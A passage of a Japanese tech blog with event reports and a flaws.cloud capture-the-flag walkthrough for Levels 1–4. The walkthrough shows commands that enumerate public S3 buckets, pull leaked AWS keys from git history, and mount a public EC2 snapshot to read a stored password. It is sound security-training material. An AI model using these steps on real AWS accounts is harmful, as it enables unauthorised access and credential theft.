以前レイトレは少し触れていたので, 古典的レイトレならもう少しわかりやすく話せたのではないかなという気がしました。BRDFでいえば, 「物体表面の点においてある方向から入射した光が, ある方向へ出射する割合」と言った方がわかりやすいと思いました。しかし, 割合というと[0, 1]のrangeを超えてしまう時に対応できないので難しいところです。ここ, 詳しい人に教えていただきたいです。

ref: BRDF range -- greater than 0...1 ?

ArduinoできらきらフルカラーLEDテープを光らせる話 by たかぴろ

動画

https://youtu.be/cX13Wwa0Mds?t=5004

概要

ArduinoでLチカして終わってしまう人が多いです。そんな中, フルカラーLEDテープを光らせる(制御)していました。

感想

Arduinoに触ってみたこともありましたが, たかぴろさんがおっしゃっていたように, 実践できるほどまでやっていませんでした。一貫して続けられるものを見つけたいものです。

RustでWebassemblyインタプリタを作った話 by tkr

LT資料

gitpitch.com

動画

https://youtu.be/cX13Wwa0Mds?t=5453

Agenda

感想

wasmを触ったことがなかったですが, アセンブリに対する抵抗感が薄くなった今, 触ってみたいと思いました。tkrさんは, 難しいことでも継続して続けている方だと感じていて, 凄いなと感じました。

遭難者を救うために学内Mapを作った話 by そうた

動画

https://youtu.be/cX13Wwa0Mds?t=6228

概要

Googleマップのような操作感, GPSで場所や距離のわかる, 企画の実施場所/時間がわかるWebマップを作った話でした。

感想

自作webpackLoaderという話がわからなかったので調べました。 入門者/初心者にもわかるwebpack 4の基礎によると, webpackは以下のように書かれています。

webpackは複数のファイルをまとめる処理(bundle your asset/image/scripts/styles)を行うツール

しかし, webpackはJavaScriptファイルのみをそのままの状態で扱う必要があるため, JavaScript以外のファイルをwebpack扱う場合には, Loaderを使用する必要があります。例えば, CSSならcss-loaderとstyle-loaderが必要になります。

「自作」というのは, JS以外のローダーも書いたということですかね?もしくはそれ以外に何かあるのでしょうか?

Webサービスをリリースした話 by Momiyama

動画

https://youtu.be/cX13Wwa0Mds?t=7140

概要

コミュニティーを一元化するためにWebサービスのプラットフォームを作成した話でした。アカウントの一元化, サービスの利用者が開発出来る仕組みを作成したとのこと。

感想

このLTを見ていて驚いたのが, 参加者が開発に参加できるというシステムでした。GitHubでそのサービスはありますが, PullRequestを送るのは怖いものです。そのため, 開発に参加することを一般化して開発に取り組みやすい環境づくりをしたのは画期的だと感じました。

大学祭のシステムを作ってみる->デスマーチの始まりだった by あべけんぴ

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=7435

概要

USB接続したレシートプリンタでQRコードを生成して使用した。前回の教訓を活かし, サイズを大きくしたとのこと。

感想

レシートプリンタは遠い所にあると考えていたのですが, SDKが公開されており, ドキュメントもしっかりしているらしいです。今の所使う予定はないですが, 頭の片隅においておきます。

話がまとまらなかったので本の紹介をします by kurogoma4D

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=7854

### 概要 ソーシャルメディア進化論という本の紹介。マスメディアが一方的に情報を提供していたた時代からSNSを用いて個の集合体が情報を提供できる時代になり, 色々変わったよねという話(多分)。

感想

「これからは個人の意見がより強くなっていくのでは?」という話については同意です。個が強くなりすぎて, 妄信的に個を信じ始める人間が出てきそうな気がしました。

Vtuberをしてみた by かよ

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=8425

概要

REALITYを運用して, 話す話がないので歯磨き音と咀嚼音で配信を始めたとのことです。その結果, 意外とファンがついたそうです。

感想

思い立ったらすぐ行動するということは大事ですね。同じ環境にいた時にスタートダッシュを切れた方が絶対に良いです。Vtuberは恥ずかしい気がしますが, 羞恥心を捨ててみるのも悪くないのかもしれません(私は踏み切れませんが)。

僕とpirkaと未踏ジュニア by 糸井主歩

動画

https://youtu.be/cX13Wwa0Mds?t=9045

概要

アイヌ語で美しいという意味を持つ, pirkaという会話をしながら成長していく人工知能技術を開発した話をしていました。pirkaのシステムについても触れていました。

感想

日本語の文を処理して入力する部分が為になりました。自然言語処理はあまり詳しくないので, アプローチを知る良い機会になりました。

色の役割、色の素敵な使い方 / Let's Do Color Design by Yuki Mihashi

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=10242

概要

カラーコーディネーター検定試験1級 第2分野(商品色彩)を受験して得た知見を共有していました。実践的な内容として具体例も複数含まれていました。

感想

率直に言って, 非常に見やすいスライドだと感じました。「明るい部分は黄み, 暗い部分の色は青みにすると自然な配色(ナチュラルカラー)になる」という部分がお手軽な知見だと感じました。今後意識していこうと思います。

Backdoorの調査と解析 by task4233

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=11294

概要

Backdoorの概要と, Discord ClientをBackdoor化するSpidey Botの解析結果を紹介していた。

感想

デモやコードを見せられなかったのが残念でした。スライドで補足しておいたので, もしよければご覧ください。

50言語でハノイの塔を書いてみた by しゅーまいくん

動画

https://youtu.be/cX13Wwa0Mds?t=11615

概要

タイトル通りです。50言語でハノイの塔の解法を実装していました。実装したリポジトリはこちら。 github.com

感想

ハノイの塔を再帰で書くとシンプルに書けるのは有名ですが, 50個もの言語で実装するというのには驚きました。 ハノイの塔の再帰的解法の証明はこちらがわかりやすいと思います。

www.tbasic.org

kaggle初参加記 by ゆきりん

LT資料

speakerdeck.com

動画

https://youtu.be/cX13Wwa0Mds?t=11983

概要

Kaggleに参加した話について, 実際に何をしたのか, どういう人と共に挑戦したのかという部分にも触れつつ話していました。

感想

Kaggleはよく分からなくて, 私はタイタニックだけやってやめてしまった人間なので, 続けているのは凄いと感じました。コミュニティがあるのは羨ましいです。

VRMアバターを作った作品制作 by やはぎ

動画

https://youtu.be/cX13Wwa0Mds?t=12469

概要

VRMアバターを使って文化祭で展示するライブ映像作品を作った話でした。動きはダンス部の動きをモーションキャプチャしてモデルにのせたそうです。実際にUnityを用いてデモもしていました。

感想

VRMという言葉が初耳だったので調べると, 「プラットフォーム非依存の3Dアバターファイルフォーマット」のことのようです。

vrm.dev

VRMにすることでプラットフォームに依存しない自由なVRアバターを作ることができるようです。Unityも詳しくないのでよくわかりませんでしたが, 実際に動いていて心踊る内容でした。

自己紹介LT by Masato Sugiyama

動画

https://youtu.be/cX13Wwa0Mds?t=12811

概要

自己紹介とのことで, Youtubeチャンネルを開設した話をしていました。Youtubeチャンネルの管理者画面ではどのような光景が見えているのかと言ったことや, 1人アドベントカレンダーの話もしていました。

感想

Youtubeの管理者画面では, いつ, どの程度の人数が動画を見てくれているのかが可視化できるんですね。このような情報を元に, 動画を改善していくことができるんですね。面白かったです。

行ったLTの反省

最も良くなかったこととして, 全体の流れが分かりづらかったということが挙げられます。理由はいくつかありますが, 最も大きい理由は計画性の無さだと思います。というのも, スライドが完成したのが直前で, ぶっつけ本番のLTだったんですよね。そのせいか, 心なし早口になっていたり, 指示語を多く使ったりと全体の流れが分かりづらいLTになってしまいました。

時間が押していたというのもありますが(動画で見たら4分しか話していなかった), 落ち着いて話せるようにLT前に一度資料を見返す余裕を作っておくべきだなと感じました。

次にLTをする際は意識します。

おわりに

以上が, 学生LT#31で発表された18個のLTでした。他にも懇親会で行われたものもあったのですが, 発表者の許諾を得ていないので今回は触れません。私の専門外の分野もいくつかあったので, そのジャンルを知る良い機会になりました。

学生LTのスタッフのみなさま, 会場を提供してくださったDMM様, ならびにLT枠のプレゼンターの方々, 聴講枠で聴きにきてくださった方々には本当に感謝です。

次の学生LTはin岡山だそうです。興味のある方は参加してみてはいかがでしょうか?

とある診断員とSecurity-JAWS #01 参加記録 および flaws.cloudのLevel4までのメモ

はじめに

2019年11月17日(金)に開催された, とある診断員とSecurity-JAWS #01というイベントに参加しました。 このイベントは, AWS固有のセキュリティをCTF形式で学べるhttp://flaws.cloud/を, ハンズオン形式で勉強するイベントでした。

このイベントがなければこのサービスの存在も知らなかった上に, 他の参加者と一緒に問題を解く機会が得られなかったので, いい機会になりました。

ちなみに, ハンズオンで使用された資料は公開されているのでリンクを貼っておきます。

www.slideshare.net

AWSのセキュリティどころか, AWS-CLIツールの使用もままならない状況だったので, 備忘録としてコマンドの使用法およびflaws.cloudの解法を載せていきます。

もくじ

環境

  • macOS Mojave version 10.14.6

AWS CLIについて

AWS CLIのcommand referenceは以下にあります。

docs.aws.amazon.com

command referenceは, まずサービス名を選択し, 次にコマンドを選択することでコマンドを一意に特定することができます。

例えば, ec2を選択すると, DescriptionとAvailable Commandsがあり, 使用できるコマンドの一覧が確認できます。そこで, 例としてdescribe-snapshot-attributeを選択すると, Description, Synopsis, Options, Examples, Outputがあり, コマンド自体について情報が確認できます。

ここでコマンドを実行したい場合は, ページ上部にある[ aws . サービス名 ]とSynopsisを連結して使用します。例えば, 先ほどのdescribe-snapshot-attributeで言えば, ページ上部に

[ aws . ec2 ]

の記載があり, Synopsisに

  describe-snapshot-attribute
--attribute <value>
--snapshot-id <value>
[--dry-run | --no-dry-run]
[--cli-input-json <value>]
[--generate-cli-skeleton <value>]

とあるため, $ aws ec2 describe-snapshot-attribute --attribute <value> --snapshot-id <value>というコマンドを実行すれば良いことが分かります。

Level 1

概要

flaws.cloudにアクセスするとLevel 1があります。 書かれていることは以下の通りです。

  • 一連のレベルを通してAWSの一般的な間違いと落とし穴を学ぶ
  • AWS固有の問題をトピックとしている
  • 各問題でヒントが提供される
  • 全てが単一のAWSアカウントで実行される
  • 全てのチャレンジはflaws.cloudのサブドメインである
  • 最初のサブドメインを見つけられるか確認して

解法

まず, flaws.cloudがAWSのどのサービスを利用しているか確認します。これは, 使用しているAWSのサービスに応じて使用するCLIコマンドやURLで使用するために, 調査します。

これは, dignslookupで調査できます。好きなコマンドを使ってください。

$ dig flaws.cloud +short
52.218.228.218
$ dig -x 52.218.228.218 +short
s3-website-us-west-2.amazonaws.com.

正引きでドメインflaws.cloudに対応するIPアドレス52.218.228.218を取得し, 逆引きでそのIPアドレスに対応するドメインs3-website-us-west-2.amazonaws.com.を取得できました。したがって, awss3を使い, regionはus-west-2AWSサービスを利用していることが分かりました。

この結果を用いて, aws s3のリファレンスを確認し, ページ下部にAvailable Commandsがあります。ここでは, 全体を見るためにlsを使います。

$ aws s3 ls s3://flaws.cloud
2017-03-14 12:00:38       2575 hint1.html
2017-03-03 13:05:17       1707 hint2.html
2017-03-03 13:05:11       1101 hint3.html
2018-07-11 01:47:16       3082 index.html
2018-07-11 01:47:16      15979 logo.png
2017-02-27 10:59:28         46 robots.txt
2017-02-27 10:59:30       1051 secret-dd02c7c.html

ここで, 怪しそうなsecret-dd02c7c.htmlがあるので, ここにアクセスします。

http://flaws.cloud/secret-dd02c7c.html

学べたこと

AWSでは, 静的ファイルのホストに使用するなど, あらゆる種類の権限と機能を備えたS3バケットを設定できます。一方で, 多くの人が非常に緩い権限でそれらのファイルを公開しています。Webサーバのディレクトリ一覧を公開しないように, バケット一覧を公開するべきではありません。

hackeroneのレポートにおける実例

間違いを避けるために

デフォルトでは, S3バケットは作成時にprivateで安全です。

flaws.cloudでは, Webページとしてアクセスできるように,"Static Website Hosting"をOnにして, "s3:GetObject"権限を全員に許可しています。Webページとしてバケットを公開するならば, これで問題ありません。

しかし, flaw(欠陥)を紹介するために, "Everyone"を追加して"List"権限を付与しました。"Everyone"はインターネット上の全員を意味します。全員に対して"List"のアクセス許可があるため, http://flaws.cloud.s3.amazonaws.comにアクセスするだけで一覧を見ることができます。

Level 2

概要

http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloudにアクセスするとLevel 2があります。

書かれていることは以下の通りです。

  • 多少ひねっているものの, かなり似ている
  • 自分用のAWSアカウントが必要
  • 無料利用枠で良い

解法

AWSアカウントが必要なのでAWS CLIに設定します。設定にはaws configureを使います。

セットアップに関しては以下の記事か, google itしてください。

その後, Level 1と同じ流れで解いていきます。 digを使う際に, URLではなくドメイン名を入れる必要があることに注意してください。

$ dig level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud +short
52.218.232.75
$ dig -x 52.218.232.75 +short
s3-website-us-west-2.amazonaws.com.
$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 11:02:15      80751 everyone.png
2017-03-03 12:47:17       1433 hint1.html
2017-02-27 11:04:39       1035 hint2.html
2017-02-27 11:02:14       2786 index.html
2017-02-27 11:02:14         26 robots.txt
2017-02-27 11:02:15       1051 secret-e4443fc.html

ここで, 怪しそうなsecret-e4443fc.htmlがあるので, アクセスします。

http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud/secret-e4443fc.html

学べたこと

"Everyone"へのアクセス権限での公開と同様に, 人は誤って実際にはAWSアカウントを持っている全てのユーザを意味する"Any Authenticated AWS User"へのアクセス権限で公開してしまいます。これは, 自分のアカウントのユーザのみに公開していると誤解しているのかもしれません。

hackeroneのレポートにおける実例

間違いを避けるために

特定のAWSユーザに対して公開アクセス権限を付与してください。

Level 3

概要

http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/にアクセスするとLevel 3があります。

書かれていることは以下の通りです。

  • 多少ひねっているものの, かなり似ている
  • 最初のAWS Keyを見つけよ
  • 見つければ他のバケットのリストを得られる

解法

かなり似ているらしいので今までと同じ流れで解いていきます。

$ dig level3-9afd3927f195e10225021a578e6f78df.flaws.cloud +short
52.218.230.26
$ dig -x 52.218.230.26 +short
s3-website-us-west-2.amazonaws.com.
$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
                           PRE .git/
2017-02-27 09:14:33     123637 authenticated_users.png
2017-02-27 09:14:34       1552 hint1.html
2017-02-27 09:14:34       1426 hint2.html
2017-02-27 09:14:35       1247 hint3.html
2017-02-27 09:14:33       1035 hint4.html
2017-02-27 11:05:16       1703 index.html
2017-02-27 09:14:33         26 robots.txt

robots.txtがあるので中身を見ると, 以下のようになっています。

User-agent: *
Disallow: /

MDN web docs Robots.txtによると, 以下のように書かれています。

Robots.txt は通常、ウェブサイトのルートに配置されているファイルです。このファイルは、クローラーからウェブサイトへのアクセスを許可するか、禁止するかを決定します。

したがって, *(任意の)User-agentを許容し, TOP配下の全てのページをブロックしていることが分かります。

次に, .gitを解析します。 解析のために, cpを利用します。

$ aws s3 cp s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud ~/work/ --recursive
: 略
$ git branch
* master
$ git log --oneline
b64c8dc (HEAD -> master) Oops, accidentally added something I shouldn't have
f52ec03 first commit
$ git reset --hard HEAD^
HEAD is now at f52ec03 first commit
$ ls
access_keys.txt     hint2.html      index.html
authenticated_users.png hint3.html      robots.txt
hint1.html      hint4.html
$ cat access_keys.txt 
access_key AK**(略)
secret_access_key Od**(略)

ここで, Access Keyが得られたので登録します。素で$ aws configureを実行すると, 自分のAccess Keyが上書きされてしまうため, --profileオプションを利用したAccess Keyの使い分けを推奨します。また, digコマンドの結果でわかっているように, regionはus-west-2なので, それに倣ってus-west-2にします。

$ aws configure --profile level3
AWS Access Key ID [None]: AK**(略)
AWS Secret Access Key [None]: Od**(略)
Default region name [None]: us-west-2
Default output format [None]: json

その後, このaccess_keyを用いて中身を確認します。 保持しているバケットの一覧はlsで確認できます。

$ aws s3 ls --profile level3
2017-02-19 04:41:52 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2017-05-30 01:34:53 config-bucket-975426262029
2018-07-08 01:09:49 flaws-logs
2017-02-19 04:40:54 flaws.cloud
2017-02-24 14:15:42 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 03:29:03 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2017-02-27 03:49:31 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2017-02-27 04:49:03 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2017-02-27 04:48:40 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2017-02-27 05:07:13 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

ここで, level4-から始まるドメイン名があるので, このドメイン名にアクセスします。

学べたこと

人はしばしばAWS Keyを漏洩し, Keyを取り消さずにミスを隠蔽しようとします。不適切な配置や漏洩した可能性がある任意のAWS Key(もしくはSecrets)を, あなたは常に無効にするべきです。Secretsに対して素早く, そして頻繁に権限を与えて直してください。

また, AWSの特定のバケットのみを一覧表示に含めないという制限はできません。そのため, いくつかのバケットを一覧表示する権限をとある人に与えたとすると, その人は全てのバケットを一覧表示することができます。バケットの中に何があるかは分かりませんが, バケットが存在することが分かります。

同様に, バケットは全ての顧客に対して一意でなくてはならないglobal namespaceを使用することに注意してください。したがって, もしmerger_with_company_Yといった秘密と思われる何かの名前のバケットを作成すると, そのバケットの存在を技術的に発見する可能性があります。

実例とケーススタディ

間違いを避けるために

もし誤って侵入, 保存, 共有, publicにされたと考えられる場合, 必ずSecretの権限を割り当て直してください。

Level 4

概要

http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud/にアクセスするとLevel4があります。

書かれていることは以下の通りです。

  • 次のレベルのために4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudのEC2上で動いているWebページにアクセスする必要がある
  • nginxがセットアップされたすぐ後に, EC2のスナップショットが作成されたことを知っておくと役立つ

解法

4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloudにアクセスするとログインを求められます。Response HeaderのWWW-Authenticateを見るとBasic realm="Restricted Content"とあるため, これはBasic認証であることとnginxでserveされていることがわかります。

ここで, 問題文にあるnginxがセットアップされたすぐ後に, EC2のスナップショットが作成されたことを知っておくと役立つとのヒントから, EC2のスナップショットを得たいという発想になります。

aws ec2のAvailable Commandsを見ると, describe-snapshotsがあります。単純にコマンドを実行すると膨大な量のスナップショットが表示されたため, スナップショットに紐づけられているOwnerIdの数を確認しました。

$ aws ec2 describe-snapshots --profile level3 | grep "OwnerId" | wc -l
21541

これだけあってはスナッップショットを特定するのは難しいです。そこで, OwnerIdを指定することでスナップショットを特定します。OwnerIdはaws sts get-caller-identityで取得できます。このコマンドでは, userID, AWSのaccountID, ARN(AWS Resource Name)を取得できます。

$ aws sts get-caller-identity --profile level3
{
    "UserId": "AI**LC",
    "Account": "97**29",
    "Arn": "arn:aws:iam::97**29:user/backup"
}

取得したAcountIDを用いて, スナップショットを取得します。

$ aws ec2 describe-snapshots --owner-id 97**29 --profile level3
{
    "Snapshots": [
        {
            "Description": "",
            "Encrypted": false,
            "OwnerId": "97**29",
            "Progress": "100%",
            "SnapshotId": "snap-0b**89",
            "StartTime": "20**0Z",
            "State": "completed",
            "VolumeId": "vol-04*50",
            "VolumeSize": 8,
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "fl**27"
                }
            ]
        }
    ]
}

SnapshotIdを取得できたので, パーミッションを確認します。パーミッションaws . ec2 describe-snapshot-attributeで取得できます。

$ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b**89 --attribute createVolumePermission --profile level3
{
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ],
    "SnapshotId": "snap-0b49342abd1bdcb89"
}

Permissionは"Group": "all"なので, 自分のアカウントにスナップショットを作成します。

aws ec2 create-volume --availability-zone us-west-2b --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
{
    "AvailabilityZone": "us-west-2b",
    "CreateTime": "2019-12-17T05:23:09.000Z",
    "Encrypted": false,
    "Size": 8,
    "SnapshotId": "snap-0b**89",
    "State": "creating",
    "VolumeId": "vol-07**c5",
    "Iops": 100,
    "Tags": [],
    "VolumeType": "gp2"
}

この作成したインスタンスにesbをアタッチしてmountします。マウントした中身を見ると, setupNginx.shで.htpasswdに書き込みをしているようです。

ubuntu@ip-***-**-**-**:~$ cat /mnt/home/ubuntu/setupNginx.sh
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

htpasswd -c -b /etc/httpd/conf/.htpasswd ユーザ名 パスワードの形式なので, 以下のように情報を抜き取れる

を入力してクリア。

学べたこと

AWSはEC2とデータベース(RDS)のスナップショットを作成できます。主な目的はバックアップを作成することですが, パスワードを忘れたとき人所有しているEC2にアクセスできるようにすることがあります。これは, 攻撃者に対しても同様です。

スナップショットは通常所有しているアカウントに生げんっされているため, 攻撃者はAWSキーにアクセスしてEC2の開始/停止等を行い, それを使用してEC2のスナップショットを作成して起動します。

おわりに

Level 5-6も終わっているのですが, 記事にする時間がなかったので今度更新します。冒頭で紹介した通り, 本イベントで使用された資料は公開されているので, flaws.cloudにチャレンジしてみてはいかがでしょうか?

CODE BLUE 2019 @TOKYO 学生スタッフ 参加記録

こんにちは。task4233(@task4233)です。

2019年10月29日-30日の2日間, ベルサール渋谷ガーデンで開催されたCODE BLUE 2019 @TOKYOに学生スタッフとして参加しました。 そこで, 来年以降参加される方をメインの対象として以下の3点を共有するために本記事を投稿します。

  • 本カンファレンスの概要
  • 学生スタッフの概要
  • 学生スタッフとしてお手伝いした感想

もくじ

CODE BLUEとは

公式のWebページによると, 以下のように書かれています。

CODE BLUEとは、世界トップクラスの情報セキュリティ専門家による最先端の講演と、国や言語の垣根を越えた情報交換・交流の機会を提供する国際会議です。

Talks(講演)では, 世界中から招へいされたセキュリティの専門家が講演をします。大半の講演が英語ですが, 同時通訳の日本語音声*1が無料で利用できます。講演では実際にデモとしてexploitする講演もありました。

本カンファレンスでは, Talks(講演)のみならず, オープンソースツールやプロジェクトを紹介するBluebox, CTF, Hardware Soldering VillageCapture The PacketといったWorkshopも催されていました。

学生スタッフとは

学生スタッフは公式のTwitterで, 以下のような文面でスタッフを募集していました。。

日交代で聴講したり、トップクラスのスピーカーに質問したり、企業で働く方々に直接話を聞いてリアルを学んだり、全国各地から来る学生と友だちになる、貴重な機会になるはず!

お手伝いするのは, 準備日の会場設営, 1日目もしくは2日目に割り当てられた業務およびカンファレンス終了後の片付けになります。 私が割り当てられた業務は同時通訳レシーバの貸し出し, 回収および清掃でした。

他の業務の役割はこの方の記事で説明されていたので共有します。

balius-1064.hatenablog.com

学生スタッフは業務が割り当てられていない間ならば自由にカンファレンスを楽しむことができます。私は1日目に業務が割り当てられたので, 2日目は講演を拝聴したりWorkshopに参加したりしました。

学生スタッフとしてお手伝いした感想

一言で言うと, 楽しめました

実は, 学生スタッフの統括を行った方々が再三再四おっしゃっていたことがありました。 それは「楽しみましょう」という言葉でした。 「楽しむ」と聞いて何を想像するでしょうか?

日本国語大辞典で「楽しむ」の意味を調べると, 以下のような意味がありました。

  • …の中に、あるいはその状態において、心の満足を感じる。
  • ある持続的な行為によって、心を快適にする。また、満足しながら、ある行為をする。
  • 将来に期待をかけることによって、心を希望で満たす

うまく言語化されているなと感じました。2単語を抜き出すとすれば, 「満足」と「希望」です。

これらの観点で言えば, 今回はかなり楽しめました。 なぜなら, 私の業務はMain Track会場内で完結する業務で, 併せて講演を拝聴できたためです。多少はメモを取ることもできたのでラッキーでした。また, 休憩室で数人のスピーカーとお話もできたのも学生スタッフで参加しなければ経験できなかったことなので満足しています。

また, 休憩中に学生スタッフ同士で話すことで, 初対面の人とは新しいコネクションを作り, 既に知り合っていた人とは更に深いコネクションを作ることもできました。特に, 普段のイベントでは話せないような, CODE BLUE CTFを運営したCTFチームのメンバーや会社のCTO*2といった, 普段のイベントでは話せないような方々と話せたので, またとない良い機会でした。イベントでは意外と英語が通じたのも少し自信に繋がりました。こういったコネクションが今後の活動で役に立つやもしれません。その点で言えば希望もあると言えるのではないでしょうか?*3

おわりに

以上が参加記録になります。

今回の学生スタッフを振り返ると, 直後だからか, 楽しかったという思いが強く残っています。 そのため, 関係者の皆様には感謝しかありません。

また, 講演は私の知識不足で完全に理解できている講演は殆どないと感じています。そのため, 今後はCODE BLUEのレポートに少しずつ目を通すつもりです。 レポートはTwitterのタグ#codeblue_jpや以下のリンク先を参照してください。このリンクは気づき次第更新するつもりです。

兎にも角にも, CODE BLUEは非常に楽しめたカンファレンスでした。来年度も縁があって参加できるようならば, スピーカーアテンドに挑戦するつもりです。 来年度も開催されると思うので, ぜひ参加してみてはいかがでしょうか?

*1:日本語から英語の同時通訳もありました

*2:名前は伏せたほうが良い気がしたので伏せておきます

*3:少しこじつけ感はありますが......

セキュリティ・ミニキャンプ in 山梨 2019 参加記

TL;DR

  • ミニキャンプの概要共有
  • ミニキャンプで得られた情報の整理

もくじ

はじめに

2019年9月29日(日)に開催されたセキュリティ・ミニキャンプ in 山梨 2019に参加しました。この記事の目的は, ミニキャンプの概要を共有することとミニキャンプ中に学んだことを私なりにまとめて共有することです。

大学の講義や教職課程の介護等体験などで忙しく, 公開までに2週間ほど経ってしまいましたが, なんとか公開できてよかったです。

セキュリティ・ミニキャンプとは

IPAによると以下のように書かれています。

 全国における情報セキュリティ人材の早期発掘と育成を目的に、各地で専門講義を実施しています。全国大会と比較して、期間が1日程度と短いことから「ミニキャンプ」とも称しています。対象は25歳以下の学生で、参加するには、応募課題を提出し、合格する必要があります。

期間は1日と短いですが, 内容は一般的な講義と比較して濃かったです。

詳しくは, 以下のリンクを参照してください。

専門講座: ミニキャン言語を作ってみよう!

講座概要

自作言語であるMC言語を実装する講座でした。 この言語は, フロントエンドでLLVM IRを出力するC++コードを採用し, バックエンドにLLVMを利用しています。

このおかげで, 私たち人間はC++コードを書くだけで, 最適化まで行われた実行形式のバイナリを入手することができます。

基本的に実装は事前課題*1で行い, 本講義では実装した部分の解説と実装を行いました。

講座前に行ったこと

3回分の事前課題

第1回課題はコメント+参考コード付き, 第2,3回課題はコメントのみ, 発展課題はノーヒントでした。 書く課題はYuka TakahashiさんのGitHubで公開されています。以下にリンクを置いておくので興味があれば参照してください。

発展課題: 演算子の追加実装

<=>=といった演算子等を追加で実装しました。

言語実装では, 演算子の優先度を規定する必要があります。 例えば, C++では以下のように演算子の優先度が規定されています。

ja.cppreference.com

MC言語では, std::map< char, int >で, keyを演算子, valueを優先度として定義していました。しかし, >=<=では2文字必要であるため, std::map< char, int >ではこれらの演算子の優先度を格納出来ませんでした。

そのため, これらの値をenum型で新たに定義することで, 2文字以上の演算子も定義することが出来ました。

制作過程はこちらのPullRequestを参照してください。

三項演算子の実装

三項演算子?を実装しました。

文法は, condition ? expression1 : expression2です。conditionがtrueならexpression1が評価され, falseならexpression2が評価されます。

一般的にコンパイラの読み取りは一方通行なので, 解析時にどのようにすればASTを構築できるかを考えるのに苦労しました。

講座で得られたこと

得られた知見はツイッターで適宜呟いていたので, 抜粋してコメントしていきます。

Google Summer of Code

Google Summer of Codeとは, 公式サイトによると, より多くの学生がOSS開発に取り込むことに焦点を当てたグローバルプログラムで, OSS組織と協力して3ヶ月間続けるプロジェクトです。Yuka Takahashiさんは積極性と英語力があれば行けるでしょうと仰っていました。

UNIX初心者におすすめの本

チューターの方が「UNIXに初めて触れるならこの本がおすすめ」と仰っていました。

puts vs printf

putsはprintfよりも速いようです。誤差なので気にするようなことではないと思いますが, 何度も出力する際はputsを使用した方が良いと思います。

C++における正規表現

参加者の中でパターンマッチを利用している方がいらっしゃいました*2C++でも出来ないことはないだろうと考えていましたが, 実際にあることを確認していなかったためいい機会になりました。

専門講座: OSの力を借りずに起動するアプリを作ろう

講座概要

UEFIアプリケーションを作成して, QEMU*3上で動かす講座でした。 Qiitaの記事によると, UEFIは以下のように説明されています。

UEFIとは、一言で言うと「最近のPCやサーバーに入っている、新しくて高機能なファームウェア(及びそのインターフェースの仕様)」です。

したがって, 本講座のタイトルにもある「OSの力を借りずに」というのは, 「OSの力を借りずに, UEFIアプリケーションをUEFIの力を借りて 起動するアプリを作ろう」のことだと解釈しています。*4

実装は, EDK IIを用いて行いました。

os-devによると, EDKⅡは以下のように説明されています。

EDK II は元々、UEFI の開発に深くかかわっている Intel が作っていた SDK です。gnu-efi が「UEFI アプリケーション」専用なのに対し、EDK II は UEFI アプリはもちろん、周辺のライブラリや、UEFI ファームウェアそのものを開発するための SDK という役割も持っており、超高機能です。高機能ゆえに UEFI アプリを作るという目的のためには複雑すぎてとっつきにくい印象があります。が、フル装備の SDK ですから、慣れておけば後々困ることもないと思います。

講座前に行ったこと

いくつかの機能を実装しました。 具体的に実装した機能は以下の通りです。

EDK IIを用いたハローワールドアプリの作成(事前課題)

EDK IIを用いてUEFIアプリケーションを作成しました。 EDK II で UEFI アプリケーションを作るを参考に作成しました。

アプリケーションのメモリマップをファイルに保存する(事前課題)

ここでやるべきことは2つです。 1つ目はアプリケーションのメモリマップを取得すること, 2つ目はファイルにその情報を保存することです。

まず, アプリケーションのメモリマップを取得するためには, EFI_BOOT_SERVICE.GetMemoryMap()を用います。このメソッドは, アプリケーションのメモリをマッピングしたものを読み取ることが出来ます。このメソッドの詳細は, UEFI Specificationの7.2 Memory Allocation Servicesを参照してください。

次に, ファイルにその情報を保存するためには, EFI_FILE_PROTOCOLおよびそれに関連するメソッドを利用します。これらのメソッドの詳細は, UEFI Specificationの13.5 File Protocolを参照してください。

MC言語で定義した関数が出力した値をPrint関数を用いて画面に出力(発展課題)

シェルもどきを作る(趣味)

OS_Girls 2を参考にI/Oを実装しました。

講座で得られたこと

最も大きかったのは, ポインタとアドレスの理解が深まったことだと考えています。元々, ポインタとアドレス自体はある程度理解していたのですが, 今回のミニキャンプを経て更に理解が深まりました。特に, Cのコードをアセンブリに変換して考える部分が最もしっくりきた部分でした。

おわりに

以上が参加記録になります。

今回のミニキャンプを振り返ると, 参加者が主体となって構成されているイベントだと強く感じました。一般的なイベントでは, 公演の拝聴やハンズオンはあれど, 基本的に主体はイベントを開催している側でした。しかし, ミニキャンプでは参加者が何かをしたいと言えば, それを講師やチューターの方が一緒に解決してくださるという内容だったと記憶しています。

その点で, ミニキャンプは参加者が中心となって何かができるイベントと言えるのではないでしょうか?

このミニキャンプは他の場所でも開催されています。興味のある方は, ぜひ参加してみてはいかがでしょうか?

*1:事前課題が本講義のような気がしました

*2:実名は控えさせていただきます

*3:これQ Emulatorの略だったんですね

*4:解釈違いの部分があればご指摘お願いします

